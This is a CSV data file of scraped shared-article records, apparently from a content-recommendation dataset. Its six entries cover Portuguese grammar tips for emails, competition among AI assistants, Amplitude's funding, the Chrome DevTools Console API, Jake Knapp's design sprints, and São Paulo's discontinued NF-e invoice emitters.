1465396491,CONTENT SHARED,310515487419366995,-5527145562136413747,3192880191028684629,,,,HTML,http://blog.runrun.it/erros-de-portugues-em-e-mails/,71 erros de português que precisam sumir dos seus e-mails,"Escrever um e-mail não deveria ser uma coisa tão penosa. Não deveria ser aquele momento em que você excomunga o idioma porque hesita entre uma e outra forma de grafar as palavras. Não deveria ser como assumir um risco. Sobretudo, não deveria ser um novo 7 a 1 todos os dias. Por isso, preparamos uma lista com os 71 erros de português e dúvidasortográficasmais comuns em e-mails! Mais do que esclarecer suas dúvidas, você vai se espantar com algumas expressões que usa, mas que estão fora da norma gramatical. Guarde esta lista, caso se esqueça de algo, e aproveite para a compartilhar com seus colegas! 1. Ao invés de / Em vez de ""Em vez de"" é usado como substituição. Ex: São Paulo em vez de BH. ""Ao invés de"" é usado como oposição. Ex: Grande ao invés de pequeno. 2. De encontro a / Ao encontro de ""Ao encontro de"" expressa harmonia. Ex: Obrigada! Sua ajuda veio ao encontro do que eu precisava. ""De encontro a"" expressa embate. Ex: Brigaram porque a opinião dele ia de encontro ao que ela acreditava. 3. Através de / Por meio de ""Por meio de"" é o mesmo que ""por intermédio"". Ex: Conseguimos por meio de muito trabalho. ""Através de"" expressa a ideia de atravessar. Ex: Olhava através da janela. 4. Em princípio / A princípio ""A princípio"" equivale a ""no início"". Ex: A princípio, achei que não seria capaz. ""Em princípio"" equivale a ""em tese"". Ex: Em princípio, todo homem é igual perante a lei. 5. Se não / Senão ""Senão"" significa ""caso contrário"" ou ""a não ser"". Ex: Me avise, senão vou esquecer. Não fez senão o prometido. ""Se não"" é usado para expressar uma condição. Ex: Se não puder, nos avise antes. 6. Retificar / Ratificar ""Ratificar"" é o mesmo que confirmar. Ex: Os dados ratificaram a previsão. ""Retificar"" é o mesmo que corrigir, emendar. Ex: Vou retificar os dados da empresa. 7. À medida que / Na medida em que ""Na medida em que"" equivale a ""porque"". Ex: Cancelamos a reunião na medida em que a negociação havia sido adiada. ""À medida que"" mostra relação de proporção. Ex: A produtividade aumenta à medida que a equipe usa a ferramenta. 8. Eminente / Iminente ""Eminente"" significa ""excelente"". Ex: É uma professora eminente. ""Iminente"" significa deverá acontecer em breve. Ex: O sucesso do projeto é iminente. 9. Bastante / Bastantes ""Bastante"" concorda com o substantivo. Só não concorda com adjetivos e advérbios. Por isso se diz ""Há bastantes e-mails"" e ""Andei bastante rápido"". 10. Sessão / Seção ""Sessão"" com ""ss"" quer dizer o tempo de um evento. Ex: Sessão de cinema, ou sessão de acupuntura. ""Seção"" com ""ç"" quer dizer ""departamento"" ou ""divisão"". Ex: A seção de arte moderna do museu, ou a seção de carnes do supermercado. 11. Tachar / Taxar ""Tachar"" com ""ch"" é ""censurar"", ""rotular"". Ex: Foi tachado de louco. ""Taxar"" com ""x"" é receber taxa, imposto. Ex: Grandes fortunas serão taxadas. ""Trás"" só existe na expressão ""Para trás"". Se você está se referindo ao verbo ""trazer"", lembre-se da letra z nele e use sempre ""traz"". 13. Descrição / Discrição ""Descrição"" é o detalhamento de algo. Ex: Não havia uma descrição clara do trabalho. ""Discrição"" é a qualidade do que é discreto, não chamativo. Ex: É bom ter discrição durante a negociação. 14. Afim / A fim de ""A fim de"" indica ideia de finalidade. Ex: Irei ao evento a fim de praticar o networking. ""Afim"" é um adjetivo, o mesmo que ""semelhante"". Ex: Temos ideias afins. 15. Desapercebido / Despercebido ""Despercebido"" significa ""sem atenção"". Ex: A mudança passou despercebida. ""Desapercebido"" significa desprovido, desprevenido. Ex: Estava desapercebido de dinheiro. ""Demais"" significa ""excessivamente"". Também pode significar ""os outros"", na expressão ""os demais"". ""De mais"" se opõe a ""de menos"". Ex: Uns têm privilégios de mais; outros de menos. 17. Tão pouco / Tampouco Tampouco corresponde a ""também não"", ""nem sequer"". Ex: Ele não fez o que pedi, tampouco o que você pediu. Tão pouco corresponde a ""muito pouco"". Ex: O fim de semana foi delicioso, mas durou tão pouco. Mal opõe-se a bem. Ex: Acordo mal-humorada. Estava malfeito. Mau opõe-se a bom. Ex: Hoje é um mau dia para conversarmos. Homens dizem ""obrigado"". Mulheres dizem ""obrigada"". 20. Descriminar / Discriminar ""Discriminar"" significa ""separar"" e também ""discernir"". Ex: Discriminar por orientação sexual é desprezível. As notas fiscais já foram discriminadas. 21. A cerca de / Acerca de ""Descriminar"" significa ""inocentar"" e também ""descriminalizar"". Ex: A juíza descriminou o réu. ""Acerca de"" é o mesmo que ""a respeito de"". Ex: Deveríamos discutir mais acerca de política. Já ""a cerca de"" indica aproximação. Ex: Moro a cerca de 3Km daqui. b) A forma correta é a segunda Lembre-se que o sentido é ""dar resposta a alguém"", portanto, sempre acompanha a preposição ""a"". Anexo é um adjetivo e concorda em gênero e número com o substantivo a que se refere. No caso, a palavra ""imagens"" é feminina e está no plural. Além disso, a expressão ""em anexo"" é recusada pelos principais linguistas. 24. Visar o objetivo / Visar ao objetivo O verbo visar, no sentido de almejar, pede a preposição ""a"". No entanto, quando ele está junto de outro verbo, dispensa-se a preposição. Ex: Visamos viajar para o exterior este ano. 25. Precisar de fazer / Precisar fazer Assim como o verbo anterior, ""precisar"" só vem junto da preposição ""de"" quando há um substantivo. Ex: Precisamos de mais foco. Precisavam tirar umas férias. 26. Media a reunião / Medeia a reunião Lembre-se dos outros verbos irregulares com final ""-iar"": ansiar, incendiar e odiar. Por maior que seja seu ódio, você não diz: ""Eu odio"". 27. Interviu, interviram / Interveio, intervieram O verbo ""intervir"", assim como ""convir"", se conjuga como o verbo ""vir"". 28. Quando dispor / Quando dispuser O verbo ""dispor"", assim como ""repor"", ""propor"" se conjuga como o verbo ""pôr"". 29. Preveu, preveram / Previu, previram O verbo ""prever"", assim como ""rever"", se conjuga como o verbo ""ver"". ""Chego"" e ""trago"" só existem na expressões ""Eu chego"" e ""Eu trago"". O verbo ser pede o particípio irregular, que não termina em -do. Por isso se diz ""foi impresso"" e não ""foi imprimido"". O verbo ter pede o particípio regular. Por isso se diz ""tinha acendido"" e não ""tinha aceso"". 32. A curto, médio, longo prazo / Em curto, médio, longo prazo A expressão exige a preposição ""em"". A palavra ""ora"" não só existe como significa ""agora"". 34. Quando ver / Quando vir ""Quando vir"" se refere ao verbo ver no futuro e na condicional. Ex: Quando eu te vir, vou te dar um abraço apertado! Além disso, ""quando ver"" não existe. A menos que você se refira a um quiz ( aqui estão vários! ), escreva ""quis"". ""A nível de"" é uma expressão coringa, que não tem sentido próprio. Procure substituir, por ex., ""a nível de Brasil"" por ""a nível nacional"", ou ainda melhor, por ""com relação ao Brasil"". Em outros casos, a expressão é inútil. Em vez de dizer ""problemas a nível de foco"", diga apenas ""problemas de foco"". Mesmo após a última reforma ortográfica, a palavra continua sendo grafada com hífen. O verbo ""esquecer"" só é usado com a preposição ""de"" quando vem acompanhado de um pronome oblíquo (me, te, se, nos...). O mesmo vale para o verbo ""lembrar"". No sentido de tempo decorrido, o verbo ""fazer"" só é usado no singular. Para indicar tempo passado, usa-se o verbo haver. O ""a"", como expressão de tempo, é usado para indicar apenas tempo futuro ou distância. Ex: Falarei com o diretor daqui a cinco dias. Ele mora a duas horas do escritório. Além disso, se desejar usar a expressão ""atrás"", o verbo ""haver"" deve ser removido. ""Há dois anos atrás"" . No sentido de existir, o verbo ""haver"" fica sempre no singular. Já nas locuções verbais, ele concorda com o sujeito. Ex: Elas haviam feito um ótimo trabalho. ""Quite"" deve concordar com o substantivo a que se refere. ""Onde"" se refere a um lugar em que alguém ou alguma coisa está. "" Aonde"" é formado pela preposição ""a"", porque indica movimento. Quem vai vai a algum lugar. Nessa mesma lógica, não existe a expressão ""daonde"", pois quem vem vem de algum lugar. Existe apenas ""de onde"". O verbo assistir, no sentido de ver, exige a preposição ""a"". Caso contrário, significa ""ajudar"". Ex: A enfermeira assistiu o paciente por horas. Quem admite admite ""algo"". Isso classifica o verbo ""admitir"" como transitivo direto. Assim como quem ama ama algo. Quando isso ocorre, o verbo concorda com o sujeito. Quem precisa precisa ""de algo"". Isso classifica o verbo ""precisar"" como transitivo indireto. Quando isso ocorre, o verbo fica no singular. O verbo ""implicar"" tem sentido de ""requerer"" e também de ""acarretar"" e, em ambos casos, não admite preposição. Não se usa a preposição ""em"" nessa expressão. ""Entre eu"" só pode ser usado antes de um verbo no infinitivo. Ex.: ""Passou-se um bom tempo entre eu começar o trabalho e você me ajudar."" Tem refere-se à 3ª pessoa do singular do verbo ""ter"" no Presente do Indicativo. Têm refere-se ao mesmo tempo verbal, porém na 3ª pessoa do plural. Vêm, Convêm e Retêm Verbos de movimento exigem a preposição ""a"". A regência do verbo preferir é com a preposição ""a"" e não ""do que"". O correto é meio-dia e meia, pois o numeral fracionário concorda em gênero com a palavra hora. A menos que você esteja dizendo que a meia do seu pé está ansiosa, o correto é no masculino, sempre que quiser dizer ""um pouco"". No sentido de ""metade"", concorde com o substantivo. Ex: Meia hora, meia xícara de chá. ""Menas"" não existe. ""Perca"" é verbo. Ex: Não quero que você perca sua fé em mim. ""Perda"" é substantivo. Foi uma perda incalculável. c) Abandonando pleonasmos 57. Na minha opinião pessoal = Na minha opinião 58. Repetir de novo = Repetir 59. Multidão de gente = Multidão 60. Encarar de frente = Encarar 61. Duas metades iguais = Metades 62. Preferir mais = Preferir 63. Há anos atrás = Há anos ou Anos atrás d) Descomplicando o uso da crase Motivo de erros de português há gerações, a crase é simplesmente quando duas letras se fundem numa só: a preposição ""a"" e o artigo feminino ""a"". Algumas pessoas inclusive preferem ler ""à"" como ""a a"". Tendo isso em mente, fica bem mais fácil entender quando a crase é necessária. Veja alguns erros: 64. De segunda à sexta / De segunda a sexta Você está dizendo ""De segunda até sexta"" e não ""De segundo até a sexta"". Portanto, não há duas vezes o ""a"". Logo, não faz sentido haver crase. 65. Das 17 até às 18h / Das 17 às 18h É o mesmo caso que acabamos de explicar. 66. À partir de / A partir de Nenhum verbo exige crase antes. Prazo é uma palavra masculina e, portanto, não acompanha o artigo feminino ""a"", necessário para haver crase. 68. Refiro-me aquilo / Refiro-me àquilo As palavras ""aquilo"" e ""aquele"", masculinas, levam acento quando provêm da fusão do ""a"" preposição com a letra ""a"" de ""aquilo"". Ex: Refiro-me àquilo que você disse na reunião ontem. 69. Disse à você / Disse a você Não ocorre crase antes de pronome pessoais (eu, você, ele, ela, nós, vocês, eles, elas), uma vez que nenhum deles vem acompanhado do artigo feminino ""a"". 70. A vista, a disposição, a beira, a espera, a base / À, à, à, à, à Sem o acento grave, todas essas expressões são apenas substantivos. 71. Vou à Curitiba, Vou a Bahia / Vou a Curitiba, Vou à Bahia Quando estiver se referindo a cidades e países, lembre-se: Vou a, volte de... Crase pra quê? Vou a, volta da... Crase há! No exemplo: Vou a Curitiba (porque volto dE Curitiba) vs. Vou à Bahia (porque volto dA Bahia) e) Descomplicando os porquês Por fim, um dos mais célebres erros de português é a confusão que se faz entre os porquês. Veja como é mais simples do que parece! Sempre que a palavra ""motivo"" estiver implícita na expressão, use ""por que"". Mesmo que não seja uma pergunta. Caso haja pontuação (seja vírgula, ponto final, de exclamação ou interrogação) após, acentue a palavra ""quê"", ficando ""por quê"". Se é possível substituir por ""pois"", use ""porque"". Se é possível trocar pela palavra ""motivo"", use o substantivo ""porquê"". Exemplo: Você não sabe por que [motivo] eu fiz aquilo, e agora me pede que eu explique por quê. Mas eu não irei dizer o porquê! Ainda estou triste porque você me ofendeu. Agora que você deu um importante passo para não cometer mais erros de português em e-mails, é hora de avançar ainda mais. O número de e-mails e a forma como a troca de demandas fica desordenada provavelmente são um pesadelo diário para você e sua equipe. O fim do pesadelo está na contratação de uma ferramenta de gestão de projetos, tarefas e fluxo de trabalho, como o Runrun.it. Experimente grátis e sinta a diferença:",pt
1465397153,CONTENT SHARED,3064370296170038610,-1443636648652872475,-5844499583089646160,,,,HTML,https://www.linkedin.com/pulse/google-amazon-upcoming-battle-over-ai-assistants-dennis-r-mortensen,"Google, Amazon and the upcoming battle over AI Assistants","The stage is set for the coming battle between the big five tech giants: Google, Apple, Facebook, Microsoft, and Amazon (wait, make that four tech giants and one really tech savvy retailer). All are now heavily investing in AI. All now offer personal AI assistants poised to make your life easier. One of the most recent announcements is from Google. The company launched Google Assistant, which is an integral part of the new Google Home device and Allo (its new messaging app). Apple is set to announce its additional AI assistant plans mid-June but has already leaked some details. The Information reported that the company is developing its own device for the home and that Siri will open up to third party ""apps."" Earlier this Spring, Microsoft and Facebook made their own announcements which put AI Assistants (or in their parlance, chatbots) front and center. And each has a clear vision for how third party bots can exist as part of their platforms. On the surface, this looks like head to head competition around the AI personal assistant by five of the top tech companies in the U.S. But what's really at stake-will we eventually be paying obeisance to Siri or Alexa, while their competitors wither? Is the personal assistant the key to "" the era of Artificial Intelligence ""? Here are my five immediate takeaways: 1. The AI Market Segments One way to view the current setting is to divide what is happening into three distinct market segments (Platform, Service and Software), and you should know which segment any given company plays in to better understand its ambitions AI Platform Intelligent Platforms have a set of existing features that you use to build bots (Applications). These include Facebook's Messenger platform, Microsoft's Bot Platform (its bots can run on Skype) and all the way up to Amazon's Echo device, which lets third parties create new skills for Alexa. Pro: The most dramatic and most important dimension is distribution; these platforms come with easy access to hundreds of millions of users. Almost any programmer can build a bot on the platform, and the time from idea to market is short-think days or weeks. Con: The most obvious downside is a limited opportunity to innovate outside of what the platform was designed for, which to a large degree consists of the sensors and actuators inside their environments required for the bot to exist, leaving much of the actual intelligence to the developer. And we probably have to accept that the bots are not (yet) true intelligent agents. Platform dependencies put large parts of your destiny in the hands of the platform owner. There's very limited opportunity to optimize much on output accuracy, and so your product quality (outside of design) depends on the platform. Finally, those users are probably not going to be given to you for free, so expect an App Store like tax. AI as a Service These outsourced and on-demand machine learning services allow developers to build models and generate predictions in the cloud, without having to engineer and/or maintain the supporting infrastructure. These include offerings from companies like Amazon Web Services, Microsoft's Azure and of course Google's Cloud offerings. Pro: You can build anything for any platform or channel and move forward pretty rapidly think weeks or months. You do not have to maintain or build your own machine learning infrastructure. Con: This comes with some sort of recurring cost which might just hurt your unit costs or costs in general. It is likely that some ceiling to accuracy arises given the fixed constraints of the services. AI Software You could build your own AI infrastructure from the ground up. Even if you want to do all of this yourself, you're likely going to end up using either proprietary software and/or open source tools like TensorFlow from Google or say scikit-learn, Theano or Spark's MLlib. These will help you with the learning aspect of building an AI, much like the services described above, but there's typically a whole lot more that you'll still need to build yourself. For example, you'll need to collect and clean your data, engineer features, evaluate your learned models, serve predictions, incorporate changes to your system and so on. Pro: This provides the ultimate freedom and allows for very high accuracy in output. True innovation can happen here. It can provide long term cost benefits through infrastructure optimization as well. Con: This is very time consuming and thus quite expensive as an upfront investment. Anything you build should be thought of as a months- or years-long project. This is not necessarily a perfect segmentation, but it does provide a good backdrop. And, given that each of the five tech giants is playing in multiple segments, it suggests to me that this is indeed the era of AI. It also suggests that none of the five is immediately convinced that the personal assistant is the only way to dominate in this new era. 2. Cross Device AI Personal Assistants will be cross device. The recent announcements also point to a scenario in which these assistants will become ubiquitous. Siri is already in your Apple TV, and at the re/code conference, Jeff Bezos announced that Amazon will license Alexa to third parties. It's clear that the only way for these behemoths to compete is to make their AI Assistants available across devices. This presents some interesting political challenges right away, as Siri's and Alexa's skills converge, Apple would seem pretty uninterested in making Alexa available on your iPhone, for example. The funny thing is that the player who used to be the most protective about their O/S Platform, Microsoft, has been among the quickest to push its assistant across devices. You can get Cortana on Windows 10, iPhone and Android. I think this willingness could let them leapfrog the others, should they not be as forward-thinking. 3. Horizontal vs. Vertical AI The structure of the AI Assistant space is now crystal clear: Horizontal AI will integrate with and enable vertical AI. All five companies have built what I like to call horizontal AI , which is to say AI Assistants that operate more as enablers of more focused services (like x.ai ). They've also all signaled that they would like third parties to develop these more focused services, just as third parties developed the apps that populate the app store and our smart phones. These are early days, so there are few fully realized vertical AI services in market. (We have built an AI personal assistant, Amy Ingram, who does only one thing: schedule meetings for you.) You should expect to see much more activity on this front. The value of these horizontal AI assistants will hinge to a large degree on the quality of vertical agents that each can enable and the seamlessness of those integrations. But don't expect exclusive integration deals with Siri, Cortana or the like. Any vertical AI agent will want to offer its agent up everywhere. And there is precedent for that model: popular apps go cross device quickly. 4. Conversational UI The conversational UI, whether in voice or text, will be the dominant interface for these horizontal AI assistants, and for many, if not almost all, vertical agents as well. Whether you are texting with M or chatting with Alexa or asking Amy to set up a meeting, you will be holding a conversation rather than navigating a visual interface. Right now, those conversations can feel stilted and awkward. This is one area in which a single player could really separate itself from the pack. I'm not placing any bets, but to achieve a truly natural level of interaction, you need masses of data and the right data and the willingness to massage it. Here Apple seems to be most disadvantaged, for the moment. 5. No Winner Take All This is not a winner take all setting. While one or two players may fail to woo consumers to their AI personal assistant, I do not see any reason for a single or even just two players to dominate the market. After all, Alexa gets only marginally better if I use her and you use her too, and this has to do with data collection (the more and more varied data, the smarter she can get). The opposite may be true for many vertical AI assistants. For example, if Amy were to run everyone's calendar, she could find the most convenient location for all meeting participants (not just the host) because she would know where each one has been and where each is going on any given day. That means less travel, which saves everyone time. One thing is indisputable: the major parties in the AI battle have assembled. Now the war for consumers hearts and minds begins. This should be great for the consumer and fun to watch ;-) [And many thanks to x.ai Data Engineer Jeff Smith for his contribution to this piece.]",en
1465398942,CONTENT SHARED,1582315529508020223,-108842214936804958,4983461623404374015,,,,HTML,http://techcrunch.com/2016/06/08/amplitude-series-b/,Analytics startup Amplitude raises $15M,"Amplitude announced this morning that it has raised $15 million in Series B funding. In the past, the web and mobile analytics company has pitched itself as a more affordable alternative to Mixpanel . More recently, CEO Spenser Skates said the bigger vision is to make user data available to everyone in a company, not just data scientists. ""It's so easy to look up any piece of information on the web with search engines and Google, but it's very difficult to look up information about your existing user base,"" Skates said. ""Ultimately, we want to change that."" For example, Skates pointed to Amplitude customer Square, where he said there are about 100 people who access Amplitude data every month. The ""vast majority"" are product managers and marketers who look at ""high-level dashboards,"" while the growth and data science teams will use the more advanced features. Speaking of those features: Amplitude is also announcing the launch of a new product called Pathfinder, aimed at showing the different ways that users navigate through a website or app. Skates said this should help businesses understand which actions are leading users to become paying customer - or, conversely, to abandon the product. He contrasted this with the normal ways that a company might analyze conversion - building a funnel showing that Action A leads to Action B leads to Action C, and measuring how many people stay on the path at each step. But that only works ""if you know what events you're looking for ahead of time."" ""With many of these apps, there are hundreds of different events, and you don't know which one will lead right up to a conversion,"" Skates said. Amplitude has now raised a total of $26 million. The new round was led by Battery Ventures, with participation from Benchmark Capital. Battery's Neeraj Agrawal is joining the company's board of directors. Amplitude also says it now has more than 150 customers -including LogMeIn, Instacart and Thumbtack - with revenue growing by 300 percent year-over-year. Featured Image: Amplitude",en
1465408647,CONTENT SHARED,-1492913151930215984,-1578287561410088674,-4144549791297631980,,,,HTML,https://developer.chrome.com/devtools/docs/console-api,Chrome DevTools - Console API Reference,"The DevTools docs have moved! Read the latest version of this article and head over to the new home of Chrome DevTools for the latest tutorials, docs and updates. The Console API provides web applications with methods for writing information to the console, creating JavaScript profiles, and initiating a debugging session. console.assert(expression, object) If the specified expression is false , the message is written to the console along with a stack trace. In the following example, the assert message is written to the console only when the document contains fewer than ten child nodes: console.clear() Clears the console. Also see Clearing the console . However, if Preserve Logs is on, console.clear() will not do anything in case there's some iframe which calls console.clear() and can make your debugging process harder. ""Clear console"" in the context menu will still work, and actually clear the console. console.count(label) Writes the the number of times that count() has been invoked at the same line and with the same label. In the following example count() is invoked each time the login() function is invoked. In this example, count() is invoked with different labels, each of which is incremented separately. console.debug(object [, object, ...]) This method is identical to console.log() . console.dir(object) Prints a JavaScript representation of the specified object. If the object being logged is an HTML element, then the properties of its DOM representation are displayed, as shown below: You can also use the object formatter ( %O ) in a console.log() statement to print out an element's JavaScript properties: Calling console.dir() on a JavaScript object is equivalent to calling console.log() on the same object-they both print out the object's JavaScript properties in a tree format. Compare this with the behavior of console.log() , which displays the element in an XML format as it would appear in the Elements panel: console.dirxml(object) Prints an XML representation of the specified object, as it would appear in the Elements panel. For HTML elements, calling this method is equivalent to calling console.log() . %O is a shortcut for dir %o acts either as dir or dirxml depending on the object type (non-dom or dom) console.error(object [, object, ...]) Similar to console.log() , console.error() and also includes a stack trace from where the method was called. console.group(object[, object, ...]) Starts a new logging group with an optional title. All console output that occurs after calling this method and calling console.groupEnd() appears in the same visual group. You can also nest groups: console.groupCollapsed(object[, object, ...]) Creates a new logging group that is initially collapsed instead of open, as with console.group() . console.groupEnd() Closes the most recently created logging group that previously created with console.group() or console.groupCollapsed() . See console.group() and console.groupCollapsed() for examples. console.info(object [, object, ...]) This method is identical to console.log() . Displays a message in the console. You pass one or more objects to this method, each of which are evaluated and concatenated into a space-delimited string. The first parameter you pass to log() may contain format specifiers , a string token composed of the percent sign ( % ) followed by a letter that indicates the formatting to be applied. Dev Tools supports the following format specifiers: Basic example: An example that uses string ( %s ) and integer ( %d ) format specifiers to insert the values contained by the variables userName and userPoints : An example of using the element formatter ( %o ) and object formatter ( %O ) on the same DOM element: The following example uses the %c format specifier to colorize the output string: console.profile([label]) When the Chrome DevTools is open, calling this function starts a JavaScript CPU profile with an optional label.To complete the profile, call console.profileEnd() . Each profile is added to the Profiles tab. In the following example a CPU profile is started at the entry to a function that is suspected to consume excessive CPU resources, and ended when the function exits. console.profileEnd() Stops the current JavaScript CPU profiling session, if one is in progress, and prints the report to the Profiles panel. See console.profile() for example use. console.time(label) Starts a new timer with an associated label. When console.timeEnd() is called with the same label, the timer is stopped the elapsed time displayed in the Console. Timer values are accurate to the sub-millisecond. Note: The string you pass to the time() and timeEnd() methods must match for the timer to finish as expected. console.timeEnd(label) Stops the timer with the specified label and prints the elapsed time. For example usage, see console.time() . console.timeStamp([label]) This method adds an event to the Timeline during a recording session. This lets you visually correlate your code generated time stamp to other events, such as screen layout and paints, that are automatically added to the Timeline. See Marking the Timeline for an example of using console.timeStamp() . console.trace(object) Prints a stack trace from the point where the method was called, including links to the specific lines in the JavaScript source. A counter indicates the number of times that trace() method was invoked at that point, as shown in the screen shot below. It is also possible to pass in arguments to trace(). For example: console.warn(object [, object, ...]) This method is like console.log() but also displays a yellow warning icon along with the logged message. debugger The global debugger function causes Chrome to stop program execution and start a debugging session at the line where it was called. It is equivalent to setting a ""manual"" breakpoint in the Sources tab of Chrome DevTools. Note: The debugger command is not a method of the console object. In the following example the JavaScript debugger is opened when an object's brightness() function is invoked:",en
1465411724,CONTENT SHARED,-7820640624231356730,-1032019229384696495,3621737643587579081,,,,HTML,http://www.fastcompany.com/3058876/your-most-productive-self/how-this-googler-redesigned-the-workweek,How This Googler Redesigned The Workweek,"Jake Knapp has always been concerned about the speed at which time passes. Even back in his college years, he remembers thinking about how he wanted to get the most out of life. If this realization came earlier to him than to most, it may be because Knapp is the youngest of seven siblings. His father-with whom Knapp was always close-was already 47 when Jake was born. ""I could see him getting older,"" Knapp recalls now. ""It made me more aware of life as something that passes by."" ""I kind of obsessed about it a little bit."" Maybe this is why Knapp got something of a head start on most phases of life. Work crashed in on his college years. He began doing web design for Oakley (the sunglasses company) in 1999, then took time off from the University of Washington to work at Microsoft in 2000. That was also the year he met Holly. Knapp was at a barbecue and saw her from across the party. He thought she was beautiful. He didn't work up the nerve to say hello, but he noticed that she seemed to know his friend Dave's girlfriend. After the party, Knapp learned that the two were roommates. So he sent Dave to inquire if the mystery woman was single. ""She's not interested,"" Dave reported back. But Knapp persisted anyway, and one day in May of 2000, he tagged along with Dave to the women's apartment. He and Holly hit it off. More than that: They fell in love. ""We just clicked,"" says Knapp. They spent all their time together. By Thanksgiving, the families were meeting each other at the Knapp home on Orcas Island. One morning, as they were getting ready to go downstairs for breakfast, Holly pushed Knapp down onto the bed. ""Hey, will you marry me?"" she said. ""Are you serious?"" he asked. ""That's your response? Of course I'm serious!"" ""Yeah! Sure!"" he said with a big smile. It didn't matter that they were 23. They knew. Why wait? Knapp remembers thinking. Why waste any time? The feeling of being able to dive into creative work faded. He had fewer hours to go deep. Knapp went back to work at Microsoft, working on its encyclopedia product Encarta. Knapp loved his job. He'd been electrified by computers since he'd seen his first Apple II. He was a tinkerer who had always loved to make things. Designing Encarta felt like playing with Legos. But soon enough Knapp was being promoted, and he started finding his days filled up with more and more meetings. The feeling of being able to dive into creative work faded. He had fewer hours to go deep. Meanwhile, just two years into their young marriage, Knapp and Holly began discussing the feeling like there was someone missing from their family. By 2003, they had their first son, Luke. Again, despite being years ahead of their contemporaries, the decision, he says, ""just seemed really clear."" Knapp took three months of paternity leave, returning to Microsoft with a wildly different outlook on life. His time, already precious, was now even more so. The hours at work felt scarce. So did the hours at home. ""There's one bank account of hours in my whole life,"" Knapp remembers thinking, ""and I want to spend it well."" He would find himself in an interminable meeting, having just left his wife and son at home, and wonder, ""Man, what am I doing here?"" He remembered something his father had once said: ""Find a way to enjoy your work, because you'll spend most of your life doing it."" Knapp recalls thinking, ""Oh my God, most of my waking life will be spent doing work."" He didn't want to just punch the clock from 9 to 5. Those hours are not made of cardboard-they're my life , thought Knapp. ""I realized I had to do everything I could to save my life at work,"" he recalls. He would find himself in an interminable meeting, having just left his wife and son at home, and wonder, ""Man, what am I doing here? He picked up David Allen's famed productivity book Getting Things Done and read it three times cover to cover. One evening, he was so engrossed in reading it that he took the wrong bus home from work, winding up in a part of Seattle he'd never seen, and called Holly to pick him up. He experimented with every type of to-do list, all manner of productivity hacks. And finally, after years of experimentation, Knapp came to feel he had mastered the use of his own time and priorities-except one: He was still working on a CD-ROM encyclopedia that was destined to lose to a free Internet encyclopedia that anybody could edit. Even after Knapp moved to Google, in 2007, he was still wondering about that a lot. He'd grown obsessed with optimizing his own time-and had largely succeeded. But ultimately, he reflected, he had only become more efficient at working for a losing team. When he zoomed out far enough, Knapp could see that he hadn't actually spent his time as optimally as he'd have liked. But what if he could convince entire teams to rethink the ways they spent their time? Knapp sensed that team structures were less rigid at Google. This was also the heyday of its famed ""20% policy,"" whereby employees were offered up to one day a week to work on their own projects. So Knapp began using his own 20% time to start rethinking how teams could restructure their time and energies. The upshot of Knapp's investigations was the idea of a ""sprint"": a five-day period in which a team can focus on problems, generate ideas, and test them within a standard workweek. (Knapp has written about the idea of the sprint in more detail on this site , and in March he published a book on the topic, along with two co-authors, both colleagues at Google Ventures. And in April he spearheaded a national "" Sprint Week ,"" with more than 400 companies participating.) Setting deadlines, batching tasks, and dividing labor are key features of the sprint. A major benefit of the sprint mentality, says Knapp, is that by channeling work energies into efficient weeklong bursts, he's better able to free his attention on other weeks to spend with Holly, Luke, and now Luke's five-year-old brother Flynn. ""I feel like I'm much more present than I had been when Luke was that age,"" says Knapp now. He has also imported ideas from the ""sprint"" directly into family time. Undertaking a recent painting project with Luke, Knapp structured it like a miniature sprint-setting the deadline of an art show at a neighboring coffee shop. Knapp's father passed away last fall. Luke will soon turn 13, just a decade shy of when his own parents married. The earth keeps speeding stubbornly around the sun. Despite feeling confident that he uses his time better than ever-despite having written the book on it-Knapp still thinks he can do better. ""This quest to make good use of my time-it's not done,"" he says. ""I'm still not satisfied yet with how my time is spent.""",en
1465420532,CONTENT SHARED,8461560915246826477,-1352064057049251194,3906095671930400421,,,,HTML,http://ecommercegirl.com/consultoria/softwares-para-emissao-de-nota-fiscal-nao-poderao-mais-ser-usados-apartir-de-2017/,Solange Oliveira,"by- Globalnet Contabilidade <style> .wpb_animate_when_almost_visible { opacity: 1; }</style> A Secretaria de Fazenda do Estado de São Paulo - SEFAZ-SP divulgou em nota que os aplicativos gratuitos da Nota Fiscal Eletrônica (NF-e) e do Conhecimento de Transporte Eletrônico (CT-e) serão descontinuados a partir 2017. Com esta medida, a partir de 1º de janeiro de 2017 não será mais possível fazer o download dos emissores. A descontinuidade do emissor promete aumentar o custo das micro e pequenas empresas, que deverão buscar no mercado solução para emissão do documento eletrônico. Estamos em um momento que todo custo para empresas passa a ter uma relevância muito pesada. Esta definição, coloca o empresário que utiliza o emissor gratuito a procurar uma solução para emissão de sua nota fiscal no mercado. Muitas vezes pensamos que somente os pequenos que utilizam este emissor - muito pelo contrário - existem várias empresas de porte diferenciado que também utiliza este sistema emissor - como por exemplo grandes restaurantes. Com a descontinuidade - Oriento que todos já procurem outra solução nesta questão, para que possa fazer a transição entre os sistemas de forma adequada e com segurança., Pois infelizmente já vi muito problemas na integração do Emissor NF-e - para outro Sistema (privado) - gerando assim trabalho de cadastro de itens tudo novamente. Temos então um semestre para nos adequar e procurar a melhor solução para o negócio. Não deixe para última hora - Trabalhar com planejamento e sabendo de ocorrências no futuro representa - Sucesso em suas operações A Secretaria de Fazenda do Estado de São Paulo - SEFAZ-SP divulgou em nota que os aplicativos gratuitos da Nota Fiscal Eletrônica (NF-e) e do Conhecimento de Transporte Eletrônico (CT-e) serão descontinuados a partir 2017. Com esta medida, a partir de 1º de janeiro de 2017 não será mais possível fazer o download dos emissores. A descontinuidade do emissor promete aumentar o custo das micro e pequenas empresas, que deverão buscar no mercado solução para emissão do documento eletrônico. Estamos em um momento que todo custo para empresas passa a ter uma relevância muito pesada. Esta definição, coloca o empresário que utiliza o emissor gratuito a procurar uma solução para emissão de sua nota fiscal no mercado. Muitas vezes pensamos que somente os pequenos que utilizam este emissor - muito pelo contrário - existem várias empresas de porte diferenciado que também utiliza este sistema emissor - como por exemplo grandes restaurantes. Com a descontinuidade - Oriento que todos já procurem outra solução nesta questão, para que possa fazer a transição entre os sistemas de forma adequada e com segurança., Pois infelizmente já vi muito problemas na integração do Emissor NF-e - para outro Sistema (privado) - gerando assim trabalho de cadastro de itens tudo novamente. Temos então um semestre para nos adequar e procurar a melhor solução para o negócio. Não deixe para última hora - Trabalhar com planejamento e sabendo de ocorrências no futuro representa - Sucesso em suas operações",pt
